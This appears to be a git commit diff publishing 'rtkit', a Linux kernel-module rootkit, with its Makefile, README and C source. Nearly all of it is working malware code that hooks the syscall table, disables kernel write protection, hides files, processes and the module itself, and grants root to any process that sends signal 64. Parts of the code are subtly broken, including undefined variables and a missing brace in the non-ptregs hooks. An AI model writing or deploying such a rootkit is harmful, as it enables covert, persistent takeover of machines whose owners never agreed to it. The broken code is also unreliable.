Initial Commit

This commit is contained in:
Jolan Rathelot 2022-12-23 02:44:32 +01:00
commit e354db3645
No known key found for this signature in database
GPG Key ID: 4C4AEF2EB44D8D00
11 changed files with 672 additions and 0 deletions

10
.gitignore vendored Normal file
View File

@ -0,0 +1,10 @@
*.cmd
Module.symvers
modules.order
*.ko
*.o
*.mod.c
*.mod
.vscode
.TMP*
*.d

17
Makefile Normal file
View File

@ -0,0 +1,17 @@
obj-m += rtkit.o
KERNEL_ROOT=/lib/modules/$(shell uname -r)/build
all: modules
modules:
@$(MAKE) -C $(KERNEL_ROOT) M=$(shell pwd) modules
clean:
@$(MAKE) -C $(KERNEL_ROOT) M=$(shell pwd) clean
install: rtkit.ko
insmod rtkit.ko
uninstall:
rmmod rtkit

41
README.md Normal file
View File

@ -0,0 +1,41 @@
<h1 align="center" style="border-bottom: none; margin-bottom: 0;">
rtkit: By <a href="https://github.com/Blenderwizard">Jolan "Blenderwizard" Rathelot</a>
</h1>
## What is this ?
rtkit is a Simple Linux Kernel Module, or LKM, rootkit that allows users to hide process, file and directories, grant a root shell, and hide itself the kernel mod list.
> **Warning**
>
> Use of this project is for **Educational / Testing purposes only**. Using it on **unauthorised machines** is **strictly forbidden**. If somebody is found to use it for **illegal / malicious intent**, author of the repo will **not** be held responsible.
> **Info**
>
> This Module has only been tested on linux kernel version 6.0.0. It should be compatable with most other versions.
### Resources
1. [TheXcellerator's LKM Blog](https://xcellerator.github.io/posts/linux_rootkits_01/)
2. [Ethical Hacking by Daniel G. Graham](https://nostarch.com/ethical-hacking)
3. ChatGPT ¯\\\_(ツ)_/¯
### Features
1. The ablility to hide any file or directory that start with a prefix, by default this prefix is `"rtkit_exclude"`. This prefix can be modified by changing `DIRECTORY_EXCLUSION_PREFIX` found in `include/rootkit_utils.h`.
2. The ablility to hide user definable process ids. Running `kill -66 <pid to hide>` hide the any running process with that pid. The number 66 can be changed by modifying `TOGGLE_PID_HIDE_SIGNAL_CODE` in `include/rootkit_utils.h`
3. The ability to hide or show the module from `lsmod`. Running `kill -65 <any number>` toggles it's visiblility. The number 65 can be changed by modifying `TOGGLE_MODULE_HIDE_SIGNAL_CODE` in `include/rootkit_utils.h`
4. The ablility to get a root shell. Running `kill -64 <any number>` grants you a root shell. The number 64 can be changed by modifying `ROOT_SHELL_SIGNAL_CODE` in `include/rootkit_utils.h`
## Install
Clone the repository and navigate to the root of the directory, to build and install the module, simply run `make` followed by `make install`.
You will need to be a privelaged used on the system to run `make install`.
Congrats the rootkit has been installed!
## Uninstall
To uninstall you need to unhide the module, the default to unhide the module command is `kill -65 1`. Then run `make uninstall`.

24
include/cred_helper.h Normal file
View File

@ -0,0 +1,24 @@
#include <linux/cred.h>
#ifndef CRED_HELPER_H
#define CRED_HELPER_H
static void get_root(void) {
struct cred* root;
root = prepare_creds();
if (root == NULL) {
return;
}
root->uid.val = 0;
root->gid.val = 0;
root->euid.val = 0;
root->egid.val = 0;
root->suid.val = 0;
root->sgid.val = 0;
root->fsuid.val = 0;
root->fsgid.val = 0;
commit_creds(root);
}
#endif

View File

@ -0,0 +1,23 @@
#include <linux/types.h>
#include <linux/export.h>
#include "rootkit_utils.h"
#ifndef HIDE_SHOW_HELPER_H
#define HIDE_SHOW_HELPER_H
static short hidden = 0;
static struct list_head * previous_module;
static void hideme(void) {
previous_module = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
hidden = 1;
}
static void showme(void) {
list_add(&THIS_MODULE->list, previous_module);
hidden = 0;
}
#endif

50
include/rootkit_utils.h Normal file
View File

@ -0,0 +1,50 @@
#include <linux/version.h>
#include <linux/list.h>
#include <linux/slab.h>
#include <linux/kernel.h>
#ifndef ROOTKIT_UTILS_H
#define ROOTKIT_UTILS_H
// ===== CONFIG ======
// File prefix that excludes entries from getdents64
#define DIRECTORY_EXCLUSION_PREFIX "rtkit_exclude"
// Signal code that drops a root shell
#define ROOT_SHELL_SIGNAL_CODE 64
// Signal code that toggles rootkit visablity
#define TOGGLE_MODULE_HIDE_SIGNAL_CODE 65
// Signal code to change the hidden pid
#define TOGGLE_PID_HIDE_SIGNAL_CODE 66
// // Default port to hide, if equal to 0, hides none
// #define PORT_HIDE_DEFAULT_PORT 0
// ===================
#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
#define PTREGS_SYSCALL_STUBS 1
typedef asmlinkage long (*tt_syscall)(const struct pt_regs *);
#endif
struct linked_list_node {
void *data;
struct list_head list;
};
static LIST_HEAD(excluded_pids);
void append_node(struct list_head *list, void * data) {
struct linked_list_node *entry;
entry = kmalloc(sizeof *entry, GFP_KERNEL);
if (!entry)
return;
entry->data = data;
INIT_LIST_HEAD(&entry->list);
list_add_tail(&entry->list, list);
}
#endif

View File

@ -0,0 +1,130 @@
#include <linux/dirent.h>
#include "syscall_table_fetch.h"
#include "rootkit_utils.h"
#ifndef SYSCALL_GETDENTS64_HOOK_H
#define SYSCALL_GETDENTS64_HOOK_H
#ifdef PTREGS_SYSCALL_STUBS
static tt_syscall original_getdents64;
#else
typedef asmlinkage long (*tt_syscall_getdents64)(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
static tt_syscall_getdents64 original_getdents64;
#endif
#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage int getdents64_hook(const struct pt_regs *regs) {
struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
struct linux_dirent64 *previous_dir, *current_dir, *dirent_ker = NULL;
unsigned long offset = 0;
long error;
int ret = original_getdents64(regs);
dirent_ker = (struct linux_dirent64*) kzalloc(ret, GFP_KERNEL);
if ((ret <= 0) || (dirent_ker == NULL)) {
return ret;
}
error = copy_from_user(dirent_ker, dirent, ret);
if (error) {
kfree(dirent_ker);
return ret;
}
while (offset < ret) {
current_dir = (void *) dirent_ker + offset;
if (memcmp(DIRECTORY_EXCLUSION_PREFIX, current_dir->d_name, strlen(DIRECTORY_EXCLUSION_PREFIX)) == 0) {
if (current_dir == dirent_ker) {
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
previous_dir->d_reclen += current_dir->d_reclen;
} else {
struct linked_list_node *node;
int found = 0;
list_for_each_entry(node, &excluded_pids, list) {
if (memcmp((char *) node->data, current_dir->d_name, strlen((char *) node->data)) == 0) {
found = 1;
break;
}
}
if (found) {
if (current_dir == dirent_ker) {
ret -= current_dir->d_reclen;
memmove(current_dir, (void *) current_dir + current_dir->d_reclen, ret);
continue;
}
previous_dir->d_reclen += current_dir->d_reclen;
} else {
previous_dir = current_dir;
}
}
offset += current_dir->d_reclen;
}
error = copy_to_user(dirent, dirent_ker, ret);
if (error) {
kfree(dirent_ker);
return ret;
}
kfree(dirent_ker);
return ret;
}
#else
static asmlinkage int getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) {
struct linux_dirent64 *previous_dir, *current_dir, *dirent_ker = NULL;
unsigned long offset = 0;
long error;
int ret = original_getdents64(fd, dirp, count);
dirent_ker = (struct linux_dirent64*) kzalloc(ret, GFP_KERNEL);
if ((ret <= 0) || (dirent_ker == NULL)) {
return ret;
}
error = copy_from_user(dirent_ker, dirent, ret);
if (error) {
kfree(dirent_ker);
return ret;
}
while (offset < ret) {
current_dir = (void *) dirent_ker + offset;
if (memcmp(DIRECTORY_EXCLUSION_PREFIX, current_dir->d_name, strlen(DIRECTORY_EXCLUSION_PREFIX)) == 0) {
if(current_dir == dirent_ker) {
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
previous_dir->d_reclen += current_dir->d_reclen;
} else {
struct linked_list_node *node;
int found = 0;
list_for_each_entry(node, &excluded_pids, list) {
if (memcmp((char *) node->data, current_dir->d_name, strlen((char *) node->data)) == 0) {
found = 1;
break;
}
}
if (found) {
if (current_dir == dirent_ker) {
ret -= current_dir->d_reclen;
memmove(current_dir, (void *) current_dir + current_dir->d_reclen, ret);
continue;
}
previous_dir->d_reclen += current_dir->d_reclen;
} else {
previous_dir = current_dir;
}
}
offset += current_dir->d_reclen;
}
error = copy_to_user(dirent, dirent_ker, ret);
if (error) {
kfree(dirent_ker);
return ret;
}
kfree(dirent_ker);
return ret;
}
#endif
#endif

View File

@ -0,0 +1,136 @@
#include <linux/dirent.h>
#include "syscall_table_fetch.h"
#include "rootkit_utils.h"
#ifndef SYSCALL_GETDENTS_HOOK_H
#define SYSCALL_GETDENTS_HOOK_H
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
#ifdef PTREGS_SYSCALL_STUBS
static tt_syscall original_getdents;
#else
typedef asmlinkage long (*tt_syscall_getdents)(unsigned int fd, struct linux_dirent *dirp, unsigned int count);
static tt_syscall_getdents original_getdents;
#endif
#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage int getdents_hook(const struct pt_regs *regs) {
struct linux_dirent __user *dirent = (struct linux_dirent *)regs->si;
struct linux_dirent *previous_dir, *current_dir, *dirent_ker = NULL;
unsigned long offset = 0;
long error;
int ret = original_getdents(regs);
dirent_ker = (struct linux_dirent *) kzalloc(ret, GFP_KERNEL);
if ((ret <= 0) || (dirent_ker == NULL)) {
return ret;
}
error = copy_from_user(dirent_ker, dirent, ret);
if (error) {
kfree(dirent_ker);
return ret;
}
while (offset < ret) {
current_dir = (void *) dirent_ker + offset;
if (memcmp(DIRECTORY_EXCLUSION_PREFIX, current_dir->d_name, strlen(DIRECTORY_EXCLUSION_PREFIX)) == 0) {
if(current_dir == dirent_ker) {
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
previous_dir->d_reclen += current_dir->d_reclen;
} else {
struct linked_list_node *node;
int found = 0;
list_for_each_entry(node, &excluded_pids, list) {
if (memcmp((char *) node->data, current_dir->d_name, strlen((char *) node->data)) == 0) {
found = 1;
break;
}
}
if (found) {
if (current_dir == dirent_ker) {
ret -= current_dir->d_reclen;
memmove(current_dir, (void *) current_dir + current_dir->d_reclen, ret);
continue;
}
previous_dir->d_reclen += current_dir->d_reclen;
} else {
previous_dir = current_dir;
}
}
offset += current_dir->d_reclen;
}
error = copy_to_user(dirent, dirent_ker, ret);
if (error) {
kfree(dirent_ker);
return ret;
}
kfree(dirent_ker);
return ret;
}
#else
static asmlinkage int getdents_hook(unsigned int fd, struct linux_dirent *dirp, unsigned int count) {
struct linux_dirent *previous_dir, *current_dir, *dirent_ker = NULL;
unsigned long offset = 0;
long error;
int ret = original_getdents(fd, dirp, count);
dirent_ker = (struct linux_dirent*) kzalloc(ret, GFP_KERNEL);
if ((ret <= 0) || (dirent_ker == NULL)) {
return ret;
}
error = copy_from_user(dirent_ker, dirent, ret);
if (error) {
kfree(dirent_ker);
return ret;
}
while (offset < ret) {
current_dir = (void *) dirent_ker + offset;
if (memcmp(DIRECTORY_EXCLUSION_PREFIX, current_dir->d_name, strlen(DIRECTORY_EXCLUSION_PREFIX)) == 0) {
if(current_dir == dirent_ker) {
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
previous_dir->d_reclen += current_dir->d_reclen;
} else {
struct linked_list_node *node;
int found = 0;
list_for_each_entry(node, &excluded_pids, list) {
if (memcmp((char *) node->data, current_dir->d_name, strlen((char *) node->data)) == 0) {
found = 1;
break;
}
}
if (found) {
if (current_dir == dirent_ker) {
ret -= current_dir->d_reclen;
memmove(current_dir, (void *) current_dir + current_dir->d_reclen, ret);
continue;
}
previous_dir->d_reclen += current_dir->d_reclen;
} else {
previous_dir = current_dir;
}
}
offset += current_dir->d_reclen;
}
error = copy_to_user(dirent, dirent_ker, ret);
if (error) {
kfree(dirent_ker);
return ret;
}
kfree(dirent_ker);
return ret;
}
#endif
#endif

100
include/syscall_kill_hook.h Normal file
View File

@ -0,0 +1,100 @@
#include <linux/types.h>
#include "syscall_table_fetch.h"
#include "rootkit_utils.h"
#include "hide_show_helper.h"
#include "cred_helper.h"
#ifndef SYSCALL_KILL_HOOK_H
#define SYSCALL_KILL_HOOK_H
#ifdef PTREGS_SYSCALL_STUBS
static tt_syscall original_kill;
#else
typedef asmlinkage long (*tt_syscall_kill)(unsigned int fd, struct linux_dirent *dirp, unsigned int count);
static tt_syscall_kill original_kill;
#endif
#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage int kill_hook(const struct pt_regs * regs) {
int signal = (int) regs->si;
if (signal == ROOT_SHELL_SIGNAL_CODE) {
get_root();
return 0;
} else if (signal == TOGGLE_MODULE_HIDE_SIGNAL_CODE) {
if (hidden == 0) {
hideme();
} else {
showme();
}
return 0;
} else if (signal == TOGGLE_PID_HIDE_SIGNAL_CODE) {
char * strpid;
struct linked_list_node *node;
struct linked_list_node *target = NULL;
strpid = (char *) kzalloc(20, GFP_KERNEL);
if ((strpid == NULL)) {
return 0;
}
snprintf(strpid, 20, "%d", (int) regs->di);
list_for_each_entry(node, &excluded_pids, list) {
if (memcmp(node->data, strpid, strlen(strpid)) == 0) {
target = node;
break;
}
}
if (target) {
list_del(&target->list);
kfree(target->data);
kfree(target);
} else {
append_node(&excluded_pids, strpid);
}
return 0;
}
return original_kill(regs);
}
#else
static asmlinkage int kill_hook(pid_t pid, int sig) {
if (sig == ROOT_SHELL_SIGNAL_CODE) {
get_root();
return 0;
} else if (sig == TOGGLE_MODULE_HIDE_SIGNAL_CODE) {
if (hidden == 0) {
hideme();
} else {
showme();
}
return 0;
} else if (sig == TOGGLE_PID_HIDE_SIGNAL_CODE) {
char * strpid;
struct linked_list_node *node;
struct linked_list_node *target = NULL;
strpid = (char *) kzalloc(20, GFP_KERNEL);
if ((strpid == NULL)) {
return 0;
}
snprintf(strpid, 20, "%d", (int) regs->di);
list_for_each_entry(node, &excluded_pids, list) {
if (memcmp(node->data, strpid, strlen(strpid)) == 0) {
target = node;
break;
}
}
if (target) {
list_del(&target->list);
kfree(target->data);
kfree(target);
} else {
append_node(&excluded_pids, strpid);
}
return 0;
}
return original_kill(pid, sig);
#endif
#endif

View File

@ -0,0 +1,54 @@
#include <linux/syscalls.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/fdtable.h>
#include <linux/proc_ns.h>
#include <asm/ptrace.h>
#include <linux/dirent.h>
#include "rootkit_utils.h"
#ifndef SYSCALL_TABLE_FETCH_H
#define SYSCALL_TABLE_FETCH_H
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
#define KPROBE_LOOKUP 1
#include <linux/kprobes.h>
static struct kprobe kp = {
.symbol_name = "kallsyms_lookup_name"
};
#endif
unsigned long cr0;
static unsigned long *__sys_call_table;
unsigned long *get_syscall_table(void) {
unsigned long *syscall_table;
#ifdef KPROBE_LOOKUP
typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
kallsyms_lookup_name_t kallsyms_lookup_name;
register_kprobe(&kp);
kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
unregister_kprobe(&kp);
#endif
syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
return syscall_table;
}
static inline void write_cr0_forced(unsigned long val) {
unsigned long __force_order;
asm volatile("mov %0, %%cr0" : "+r"(val), "+m"(__force_order));
}
static inline void protect_memory(void) {
write_cr0_forced(cr0);
}
static inline void unprotect_memory(void) {
write_cr0_forced(cr0 & ~0x00010000);
}
#endif

87
rtkit.c Normal file
View File

@ -0,0 +1,87 @@
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/slab.h>
#include "include/syscall_table_fetch.h"
#include "include/hide_show_helper.h"
#include "include/syscall_getdents64_hook.h"
#include "include/syscall_getdents_hook.h"
#include "include/syscall_kill_hook.h"
static int __init rootkit_init(void) {
__sys_call_table = get_syscall_table();
if (!__sys_call_table)
return -1;
cr0 = read_cr0();
#ifdef PTREGS_SYSCALL_STUBS
#ifdef __NR_getdents64
original_getdents64 = (tt_syscall)__sys_call_table[__NR_getdents64];
#endif
#ifdef __NR_getdents
original_getdents = (tt_syscall)__sys_call_table[__NR_getdents];
#endif
#ifdef __NR_kill
original_kill = (tt_syscall)__sys_call_table[__NR_kill];
#endif
#else
#ifdef __NR_getdents64
original_getdents64 = (tt_syscall_getdents64)__sys_call_table[__NR_getdents64];
#endif
#ifdef __NR_getdents
original_getdents = (tt_syscall_getdents)__sys_call_table[__NR_getdents];
#endif
#ifdef __NR_kill
original_kill = (tt_syscall_kill)__sys_call_table[__NR_kill];
#endif
#endif
unprotect_memory();
#ifdef __NR_getdents64
__sys_call_table[__NR_getdents64] = (unsigned long) getdents64_hook;
#endif
#ifdef __NR_getdents
__sys_call_table[__NR_getdents] = (unsigned long) getdents_hook;
#endif
#ifdef __NR_kill
__sys_call_table[__NR_kill] = (unsigned long) kill_hook;
#endif
protect_memory();
hideme();
return 0;
}
static void __exit rootkit_exit(void) {
struct linked_list_node *ptr, *tmp;
unprotect_memory();
#ifdef __NR_getdents64
__sys_call_table[__NR_getdents64] = (unsigned long) original_getdents64;
#endif
#ifdef __NR_getdents
__sys_call_table[__NR_getdents] = (unsigned long) original_getdents;
#endif
#ifdef __NR_kill
__sys_call_table[__NR_kill] = (unsigned long) original_kill;
#endif
protect_memory();
list_for_each_entry_safe(ptr, tmp, &excluded_pids, list){
list_del(&ptr->list);
kfree(ptr->data);
kfree(ptr);
}
}
module_init(rootkit_init);
module_exit(rootkit_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Blenderwizard");
MODULE_DESCRIPTION("Rootkit");
MODULE_VERSION("0.01");